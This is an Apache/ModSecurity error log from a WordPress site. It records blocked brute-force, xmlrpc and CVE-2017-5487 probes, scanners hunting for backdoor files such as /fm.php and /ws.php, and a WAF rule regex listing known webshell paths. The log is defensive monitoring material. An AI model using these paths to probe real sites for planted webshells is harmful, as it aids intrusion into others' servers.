[Sun Jan 18 22:38:56.538710 2026] [:error] [pid 12923:tid 12944] [client 213.160.71.18:44240] [client 213.160.71.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.160.71.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWzwgOsWURrrC-4Rx5KjogAAAAw"]
[Mon Jan 19 00:04:28.388420 2026] [:error] [pid 11620:tid 11640] [client 164.52.194.192:33720] [client 164.52.194.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.52.194.192, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW0EjGCcXLNx7aML8kFSmwAAAdE"]
[Mon Jan 19 00:12:30.520476 2026] [:error] [pid 13034:tid 13055] [client 34.170.26.101:64864] [client 34.170.26.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.26.101, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aW0GbsRGpUu1E8cmbmjKZAAAANE"]
[Mon Jan 19 00:12:33.739628 2026] [:error] [pid 13034:tid 13056] [client 34.170.26.101:64864] [client 34.170.26.101] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aW0GccRGpUu1E8cmbmjKaAAAANI"]
[Mon Jan 19 00:12:36.126990 2026] [:error] [pid 13034:tid 13042] [client 34.170.26.101:64864] [client 34.170.26.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.170.26.101, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aW0GdMRGpUu1E8cmbmjKagAAAMQ"]
[Mon Jan 19 00:14:09.111439 2026] [:error] [pid 11710:tid 11788] [client 34.16.169.110:58710] [client 34.16.169.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.16.169.110, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aW0G0WCouWwzZ0YcmFaBmwAAAxQ"]
[Mon Jan 19 00:14:11.739338 2026] [:error] [pid 11710:tid 11772] [client 34.16.169.110:58710] [client 34.16.169.110] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aW0G02CouWwzZ0YcmFaBngAAAwQ"]
[Mon Jan 19 00:14:13.904371 2026] [:error] [pid 11710:tid 11784] [client 34.16.169.110:58710] [client 34.16.169.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.16.169.110, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aW0G1WCouWwzZ0YcmFaBowAAAxA"]
[Mon Jan 19 00:16:22.766794 2026] [:error] [pid 11620:tid 11645] [client 69.10.42.26:53488] [client 69.10.42.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW0HVmCcXLNx7aML8kFUkwAAAdY"]
[Mon Jan 19 01:13:08.358519 2026] [:error] [pid 11710:tid 11773] [client 182.42.105.144:34848] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aW0UpGCouWwzZ0YcmFaNXgAAAwU"]
[Mon Jan 19 01:14:46.386345 2026] [:error] [pid 11710:tid 11776] [client 104.248.23.4:60258] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.23.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW0VBmCouWwzZ0YcmFaNqgAAAwg"]
[Mon Jan 19 02:02:31.957230 2026] [:error] [pid 25906:tid 25943] [client 43.153.113.127:33188] [client 43.153.113.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW0gNzpQ51c5_inxJICyIgAAAlU"]
[Mon Jan 19 02:33:10.407938 2026] [:error] [pid 11620:tid 11644] [client 107.170.14.214:47730] [client 107.170.14.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.170.14.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW0nZmCcXLNx7aML8kF4owAAAdU"]
[Mon Jan 19 03:48:55.234061 2026] [:error] [pid 55203:tid 55220] [client 134.122.21.213:51740] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.21.213, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW05Jy-AaXI6_wL-5XwTXgAAAM8"]
[Mon Jan 19 05:07:30.750765 2026] [:error] [pid 43300:tid 43316] [client 178.212.148.253:58696] [client 178.212.148.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.212.148.253, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW1Lkm7A1q4pIUqzBvEKPgAAAUg"]
[Mon Jan 19 05:29:44.549436 2026] [:error] [pid 27680:tid 27702] [client 170.106.165.186:50374] [client 170.106.165.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aW1QyD8azMyLC3TiDG33cAAAAQs"]
[Mon Jan 19 07:36:17.660693 2026] [:error] [pid 47477:tid 47509] [client 103.27.206.168:56916] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.27.206.168, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW1ucQyk7fMQliOCELddfQAAAgI"]
[Mon Jan 19 09:51:41.096104 2026] [:error] [pid 1541:tid 1597] [client 43.166.136.153:57422] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW2OLUYFhTurKCJuQsZ4YwAAAFc"]
[Mon Jan 19 09:57:37.535530 2026] [:error] [pid 1542:tid 1614] [client 173.214.167.46:60914] [client 173.214.167.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aW2PkS9AKT0aRaKZVXShvQAAAI0"]
[Mon Jan 19 12:23:20.815409 2026] [:error] [pid 45562:tid 45599] [client 5.75.172.230:42756] [client 5.75.172.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.75.172.230, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW2xuDoUil_kwpvtDW5QQAAAAEU"]
[Mon Jan 19 13:34:22.708310 2026] [:error] [pid 47089:tid 47092] [client 44.199.126.214:32780] [client 44.199.126.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 44.199.126.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW3CXhlIzijVNfdIsZ5O4AAAAQE"]
[Mon Jan 19 14:46:16.561886 2026] [:error] [pid 45657:tid 45669] [client 159.69.28.178:50088] [client 159.69.28.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.69.28.178, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW3TOA4XFYp2OcwCx-AceAAAAMo"]
[Mon Jan 19 16:05:03.685127 2026] [:error] [pid 45561:tid 45568] [client 54.36.181.89:57668] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.181.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW3lr64ONSZn4nkTayIgdwAAAAI"]
[Mon Jan 19 17:15:27.101139 2026] [:error] [pid 47089:tid 47114] [client 90.156.169.111:57234] [client 90.156.169.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 90.156.169.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW32LxlIzijVNfdIsZ7BXgAAARc"]
[Mon Jan 19 17:25:02.469613 2026] [:error] [pid 45657:tid 45664] [client 43.163.104.54:58738] [client 43.163.104.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW34bg4XFYp2OcwCx-BXdQAAAMU"]
[Mon Jan 19 17:54:06.290809 2026] [:error] [pid 45563:tid 45642] [client 52.228.72.212:22490] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aW3_PpI4--OKA-Pqumx1sAAAAJU"]
[Mon Jan 19 17:54:10.391825 2026] [:error] [pid 45563:tid 45635] [client 52.228.72.212:22503] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aW3_QpI4--OKA-Pqumx1vQAAAI4"]
[Mon Jan 19 17:54:15.165643 2026] [:error] [pid 45562:tid 45598] [client 52.228.72.212:22473] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aW3_RzoUil_kwpvtDW63fQAAAEQ"]
[Mon Jan 19 17:54:21.162637 2026] [:error] [pid 45562:tid 45618] [client 52.228.72.212:22431] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/check.php"] [unique_id "aW3_TToUil_kwpvtDW63gQAAAFg"]
[Mon Jan 19 17:54:25.243504 2026] [:error] [pid 36216:tid 36237] [client 52.228.72.212:22419] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-header-json.php"] [unique_id "aW3_UcIpfKKs9fzB-yBW7AAAAVM"]
[Mon Jan 19 17:54:27.996097 2026] [:error] [pid 45562:tid 45617] [client 52.228.72.212:22468] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-header-json.php"] [unique_id "aW3_UzoUil_kwpvtDW63mwAAAFc"]
[Mon Jan 19 17:54:43.513121 2026] [:error] [pid 36216:tid 36240] [client 52.228.72.212:22430] [client 52.228.72.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aW3_Y8IpfKKs9fzB-yBXAQAAAVY"]
[Mon Jan 19 17:54:46.365890 2026] [:error] [pid 45657:tid 45671] [client 52.228.72.212:22478] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aW3_Zg4XFYp2OcwCx-BiTgAAAMw"]
[Mon Jan 19 17:54:48.966844 2026] [:error] [pid 45562:tid 45605] [client 52.228.72.212:22433] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aW3_aDoUil_kwpvtDW63tAAAAEs"]
[Mon Jan 19 17:54:50.230005 2026] [:error] [pid 45562:tid 45613] [client 52.228.72.212:22525] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aW3_ajoUil_kwpvtDW63tgAAAFM"]
[Mon Jan 19 17:55:02.426681 2026] [:error] [pid 47089:tid 47091] [client 52.228.72.212:22464] [client 52.228.72.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aW3_dhlIzijVNfdIsZ7RcAAAAQA"]
[Mon Jan 19 17:55:21.289944 2026] [:error] [pid 45657:tid 45682] [client 52.228.72.212:22402] [client 52.228.72.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.228.72.212, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aW3_iQ4XFYp2OcwCx-BiaQAAANc"]
[Mon Jan 19 18:31:28.226441 2026] [:error] [pid 36216:tid 36238] [client 157.245.42.243:49498] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.42.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW4IAMIpfKKs9fzB-yBq7AAAAVQ"]
[Mon Jan 19 19:38:38.165215 2026] [:error] [pid 47089:tid 47092] [client 65.21.137.8:56828] [client 65.21.137.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.21.137.8, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW4XvhlIzijVNfdIsZ7tugAAAQE"]
[Mon Jan 19 20:59:12.520012 2026] [:error] [pid 45561:tid 45570] [client 88.99.148.122:36340] [client 88.99.148.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.99.148.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW4qoK4ONSZn4nkTayJmuQAAAAQ"]
[Mon Jan 19 21:40:06.590395 2026] [:error] [pid 36216:tid 36226] [client 217.64.126.25:50667] [client 217.64.126.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.64.126.25, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW40NsIpfKKs9fzB-yCt-QAAAUg"]
[Mon Jan 19 21:58:34.783858 2026] [:error] [pid 47089:tid 47102] [client 5.101.50.197:54856] [client 5.101.50.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.101.50.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW44ihlIzijVNfdIsZ4J3gAAAQs"]
[Mon Jan 19 22:37:43.999340 2026] [proxy_fcgi:error] [pid 47089:tid 47114] [client 114.119.138.32:38925] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:56:{i:1762839948;a:1:{s:10:\\"itsec_cron\\";a:0:{}}i:1768833401;a:1:{s:26:\\"action_scheduler_run_queue\\";a:1:{s:32:\\"0d04ed39571b55704c122d726248bbac\\";a:3:{s:8:\\"schedule\\";s:12:\\"every_minute\\";s:4:\\"args\\";a:1:{i:0;s:7:\\"WP Cron\\";}s:8:\\"interval\\";i:60;}}}i:1768833436;a:1:{s:29:\\"rsssl_every_five_minutes_hook\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:3:{s:8:\\"schedule\\";s:18:\\"rsssl_five_minutes\\";s:4:\\"args\\";a:0:{}s:8:\\"interval\\";i:300;}}}i:1768833441;a:1:{s:10:\\"itsec_cron\\";a:1:{s:32:\\"624cd92638c8e59af07db3d3771fca61\\";a:2:{s:8:\\"schedule\\";b:0;s:4:\\"args\\";a:2:{i:0;s:12:\\"malware-scan\\";i:1;s:32:\\"1d84597ee7797b36e948d3f270e06ff6\\";}}}}i:1768833521;a:1:{s:10:\\"itsec_cron\\";a:1:{s:32:\\"479aea71d875c23b683b42e84b889b9b\\";a:2:{s:8:\\"schedule\\";b:0;s:4:\\"args\\";a:2:{i:0;s:15:\\"remote-messages\\";i:1;s:32:\\"40cd750bba9870f18aada2478b24840a\\";...', referer: https://vetstars.com.au/superslot%20444%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx
[Mon Jan 19 23:03:47.548301 2026] [:error] [pid 45562:tid 45615] [client 143.110.190.80:32794] [client 143.110.190.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.190.80, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW5H0zoUil_kwpvtDW76kgAAAFU"]
[Mon Jan 19 23:06:03.515324 2026] [autoindex:error] [pid 45561:tid 45583] [client 194.163.171.119:62824] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 20 00:11:45.866213 2026] [:error] [pid 45561:tid 45582] [client 98.142.241.151:47048] [client 98.142.241.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.142.241.151, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW5Xwa4ONSZn4nkTayKYMQAAABA"]
[Tue Jan 20 01:22:22.976115 2026] [:error] [pid 45657:tid 45661] [client 45.87.221.196:33888] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.87.221.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW5oTg4XFYp2OcwCx-DJrwAAAMI"]
[Tue Jan 20 02:22:24.103174 2026] [:error] [pid 45563:tid 45623] [client 121.229.185.160:40670] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aW52YJI4--OKA-Pqumz99QAAAII"]
[Tue Jan 20 02:35:07.259573 2026] [:error] [pid 36216:tid 36237] [client 190.121.23.218:34030] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.121.23.218, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW55W8IpfKKs9fzB-yAA5QAAAVM"]
[Tue Jan 20 03:44:37.518734 2026] [:error] [pid 14177:tid 14182] [client 137.184.64.22:52210] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.64.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW6JpULN_5XOvzr5yNX3GQAAAMA"]
[Tue Jan 20 04:56:15.715705 2026] [:error] [pid 17620:tid 17634] [client 91.201.52.99:33254] [client 91.201.52.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.201.52.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW6ab1IxOy_FGGR2biuF3QAAAAU"]
